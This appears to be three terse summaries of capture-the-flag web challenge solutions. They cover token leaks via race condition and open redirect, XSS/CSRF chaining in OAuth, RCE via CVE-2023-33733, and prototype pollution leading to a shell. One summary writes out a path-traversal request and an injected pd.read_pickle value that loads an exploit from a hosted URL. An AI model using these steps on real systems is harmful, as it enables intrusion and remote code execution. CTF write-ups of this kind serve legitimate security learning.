tl;dr

• Leak JWT token through Race Condition.
• Leak authorization token via an open redirect.
• Chaining XSS & CSRF in the oauth pipeline to leak the Admin’s oauth access token.
• RCE via CVE-2023-33733.

tl;dr
-Get the docker-entrypoint.sh using /static../docker-entrypoint.sh
-Get the challenge files using /static../panda/cgi-bin/search_currency.py
-Host your exploit and use x’|@pd.read_pickle(‘http://0.0.0.0:6334/output.exploit')|' to execute the exploit

tl;dr

• Using Prototype pollution vulnerablity in fast-json-patch pollute value in outputFunctionName
• Get a shell as the flag can only be obtained using binary file